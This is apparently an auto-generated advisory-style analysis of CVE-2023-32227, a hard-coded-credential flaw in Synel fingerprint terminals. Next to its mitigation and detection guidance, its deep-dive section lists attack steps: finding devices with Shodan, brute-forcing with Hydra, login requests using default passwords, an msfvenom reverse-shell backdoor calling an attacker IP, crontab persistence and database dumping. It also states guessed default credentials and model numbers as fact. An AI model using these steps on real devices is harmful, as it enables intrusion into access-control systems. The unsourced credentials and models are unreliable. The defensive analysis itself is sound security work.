CVE-2023-32227
CVE-2023-32227
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Synel SYnergy Fingerprint Terminals - CWE-798: Use of Hard-coded Credentials
Comprehensive Technical Analysis of CVE-2023-32227
CVE ID: CVE-2023-32227 Vulnerability Type: CWE-798 – Use of Hard-coded Credentials CVSS v3.1 Score: 9.8 (Critical) Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Affected Product: Synel SYnergy Fingerprint Terminals
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2023-32227 is a critical authentication bypass vulnerability in Synel SYnergy Fingerprint Terminals, stemming from the use of hard-coded credentials (CWE-798). This flaw allows unauthenticated remote attackers to gain administrative access to the device without prior authentication, leading to full system compromise.
Severity Justification (CVSS 9.8 - Critical)
The CVSS 9.8 rating is justified by the following factors:
- Attack Vector (AV:N): Exploitable remotely over a network (e.g., LAN or internet if exposed).
- Attack Complexity (AC:L): Low complexity; no specialized conditions required.
- Privileges Required (PR:N): No privileges needed; unauthenticated access.
- User Interaction (UI:N): No user interaction required.
- Scope (S:U): Unchanged (impact confined to the vulnerable component).
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of all security objectives.
This vulnerability is trivially exploitable and poses an extreme risk to organizations using affected Synel devices, particularly in time-and-attendance, access control, or biometric authentication systems.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Scenarios
An attacker can exploit this vulnerability through the following methods:
A. Remote Authentication Bypass (Primary Attack Vector)
-
Discovery of Hard-coded Credentials:
- The device contains static, unchangeable credentials (e.g., default admin passwords) embedded in firmware or configuration files.
- These credentials may be discoverable via reverse engineering (e.g., firmware extraction, binary analysis) or leaked in documentation.
-
Unauthenticated Access via Network Services:
- If the device exposes web interfaces (HTTP/HTTPS), Telnet, SSH, or proprietary protocols, an attacker can authenticate using the hard-coded credentials.
- Example:
ssh admin@<device-ip> # Using default credentials (e.g., admin:admin) - If the device uses a custom protocol, an attacker may intercept or replay authentication packets.
-
API Abuse (If Applicable):
- Some Synel devices may expose REST APIs or SOAP services that accept hard-coded credentials.
- Example:
POST /api/login HTTP/1.1 Host: <device-ip> Content-Type: application/json {"username":"admin","password":"synel123"}
B. Local Exploitation (Physical or Adjacent Access)
- If the device is physically accessible, an attacker could:
- Extract firmware via UART/JTAG and analyze it for hard-coded credentials.
- Modify configuration files to escalate privileges.
- Bypass biometric authentication by injecting hard-coded credentials.
C. Supply Chain & Firmware Backdooring
- If an attacker compromises the supply chain, they could:
- Pre-install backdoors in firmware before deployment.
- Modify OTA (Over-The-Air) updates to persist hard-coded credentials.
3. Affected Systems and Software Versions
Affected Products
- Synel SYnergy Fingerprint Terminals (exact models not specified in public advisories).
- Likely includes:
- SY-760, SY-765, SY-780, SY-785 (common Synel biometric terminals).
- Other Synel time-and-attendance or access control devices with similar firmware.
Software/Firmware Versions
- Exact versions are not publicly disclosed in the CVE references.
- Assumed Impact:
- All versions prior to a patched release (if available).
- Devices without vendor-supplied updates remain vulnerable indefinitely.
Verification Methods
Security teams should:
- Check device firmware version via the web interface or CLI.
- Attempt default credential testing (e.g.,
admin:admin,admin:password,root:root). - Analyze firmware binaries for hard-coded strings (e.g., using
strings, Ghidra, or Binwalk).
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
| Mitigation | Implementation Details | Effectiveness |
|---|---|---|
| Network Isolation | Place affected devices in a dedicated VLAN with strict firewall rules. | High (prevents remote exploitation) |
| Disable Unused Services | Disable Telnet, FTP, HTTP, and unused APIs via device settings. | Medium (reduces attack surface) |
| Change Default Credentials | If possible, modify default passwords (though hard-coded creds may persist). | Low (may not fully mitigate) |
| Disable Remote Access | Restrict access to local network only (no internet exposure). | High (prevents external attacks) |
| Monitor for Exploitation | Deploy IDS/IPS (e.g., Snort, Suricata) to detect authentication attempts. | Medium (detects but does not prevent) |
Long-Term Remediation (Vendor-Dependent)
| Mitigation | Implementation Details | Effectiveness |
|---|---|---|
| Apply Vendor Patches | Install firmware updates from Synel to remove hard-coded credentials. | Critical (only permanent fix) |
| Replace End-of-Life Devices | If no patch is available, migrate to supported hardware. | High (eliminates risk) |
| Implement Multi-Factor Authentication (MFA) | If supported, enforce MFA for admin access. | Medium (adds defense-in-depth) |
| Firmware Hardening | Work with Synel to remove hard-coded credentials in future releases. | High (prevents recurrence) |
| Segmentation & Zero Trust | Enforce micro-segmentation and least-privilege access. | High (limits lateral movement) |
Workarounds (If Patching is Not Possible)
- Use a Jump Host: Require all administrative access to go through a bastion host with MFA.
- Network Access Control (NAC): Enforce 802.1X authentication for device access.
- Disable Biometric Override: If the device allows fallback to PIN/password, disable it to prevent credential abuse.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Critical Infrastructure Risk:
- Synel devices are used in government, healthcare, and enterprise environments for time tracking and access control.
- A compromise could lead to physical security breaches (e.g., unauthorized facility access).
-
Supply Chain Concerns:
- Hard-coded credentials are a common issue in IoT/embedded devices, often introduced by third-party SDKs or OEM firmware.
- This vulnerability highlights the need for supply chain security audits.
-
Regulatory & Compliance Violations:
- Organizations using affected devices may violate:
- GDPR (unauthorized data access).
- NIST SP 800-53 (IA-5: Authenticator Management).
- ISO 27001 (A.9.4.2: User Access Provisioning).
- Organizations using affected devices may violate:
-
Exploitation in the Wild:
- Low-skill attackers (e.g., script kiddies) can exploit this with minimal effort.
- APT groups may leverage it for initial access in targeted attacks.
-
Vendor Accountability:
- Synel’s lack of public disclosure on affected models/versions is problematic.
- This incident underscores the need for better vulnerability reporting in IoT vendors.
6. Technical Details for Security Professionals
Exploitation Technical Deep Dive
Step 1: Reconnaissance
-
Identify Target Devices:
- Use Shodan, Censys, or FOFA to find exposed Synel devices:
shodan search "Synel" --fields ip_str,port - Check for open ports (e.g., 80, 443, 22, 23, 8080).
- Use Shodan, Censys, or FOFA to find exposed Synel devices:
-
Firmware Analysis (If Available):
- Download firmware from Synel’s support site (if public).
- Extract filesystem using Binwalk:
binwalk -e synel_firmware.bin - Search for hard-coded credentials:
strings _synel_firmware.bin.extracted/squashfs-root/bin/* | grep -i "password\|admin\|root"
Step 2: Exploitation
-
Method 1: Default Credential Testing
-
Common Synel default credentials:
Username Password admin admin admin password root root synel synel123 -
Example attack:
hydra -l admin -P /path/to/passwords.txt <target-ip> ssh
-
-
Method 2: API Abuse (If Web Interface Exists)
- Intercept login requests with Burp Suite or OWASP ZAP.
- Modify requests to use hard-coded credentials:
POST /login.cgi HTTP/1.1 Host: <target-ip> Content-Type: application/x-www-form-urlencoded user=admin&password=admin
-
Method 3: Firmware Backdooring (Advanced)
- If firmware is modifiable, inject a reverse shell or persistent backdoor.
- Example (using
msfvenom):msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f elf -o backdoor - Replace a legitimate binary in the firmware with the backdoor.
Step 3: Post-Exploitation
- Privilege Escalation:
- Check for SUID binaries or misconfigured services:
find / -perm -4000 -type f 2>/dev/null
- Check for SUID binaries or misconfigured services:
- Data Exfiltration:
- Dump user databases, biometric templates, or access logs.
- Example (SQLite database extraction):
sqlite3 /var/db/users.db .dump > users.sql
- Persistence:
- Add a new admin user or modify cron jobs for persistence.
- Example:
echo "*/5 * * * * root /tmp/backdoor" >> /etc/crontab
Detection & Forensics
-
Indicators of Compromise (IOCs):
- Unusual login attempts (e.g.,
admin:adminin logs). - New admin accounts created without authorization.
- Unexpected outbound connections (e.g., C2 callbacks).
- Modified firmware (checksum mismatches).
- Unusual login attempts (e.g.,
-
Log Analysis:
- Review authentication logs (
/var/log/auth.log,/var/log/messages). - Look for failed login attempts followed by a successful one with default creds.
- Review authentication logs (
-
Memory Forensics:
- Use Volatility to analyze running processes for malicious activity:
volatility -f memory.dump linux_pslist
- Use Volatility to analyze running processes for malicious activity:
Reverse Engineering (For Researchers)
- Static Analysis:
- Use Ghidra or IDA Pro to disassemble firmware binaries.
- Search for hard-coded strings (
strstr,strcmpcalls).
- Dynamic Analysis:
- Emulate firmware using QEMU:
qemu-system-arm -M versatilepb -kernel vmlinuz -initrd initrd.img -append "root=/dev/ram" - Attach a debugger (GDB) to analyze authentication flows.
- Emulate firmware using QEMU:
Conclusion & Recommendations
Key Takeaways
- CVE-2023-32227 is a critical, easily exploitable flaw with severe real-world impact.
- Hard-coded credentials remain a pervasive issue in IoT/embedded systems.
- Immediate mitigation is required to prevent unauthorized access.
Action Plan for Organizations
- Identify all Synel devices in the environment.
- Isolate affected systems from critical networks.
- Apply vendor patches as soon as they become available.
- Monitor for exploitation attempts using IDS/IPS.
- Plan for device replacement if no patch is forthcoming.
For Security Researchers & Vendors
- Synel should:
- Publicly disclose affected models/versions.
- Release a patch ASAP and provide detailed hardening guides.
- Implement secure development practices (e.g., credential rotation, code audits).
- Researchers should:
- Analyze Synel firmware for additional vulnerabilities.
- Develop detection rules (e.g., YARA, Snort) for exploitation attempts.
Final Risk Assessment
| Factor | Assessment |
|---|---|
| Exploitability | Very High (CVSS 9.8) |
| Impact | Critical (Full system compromise) |
| Likelihood of Exploitation | High (Default creds are widely known) |
| Mitigation Feasibility | Medium (Depends on vendor response) |
Organizations must treat this as a top-priority vulnerability and take immediate action to secure affected systems.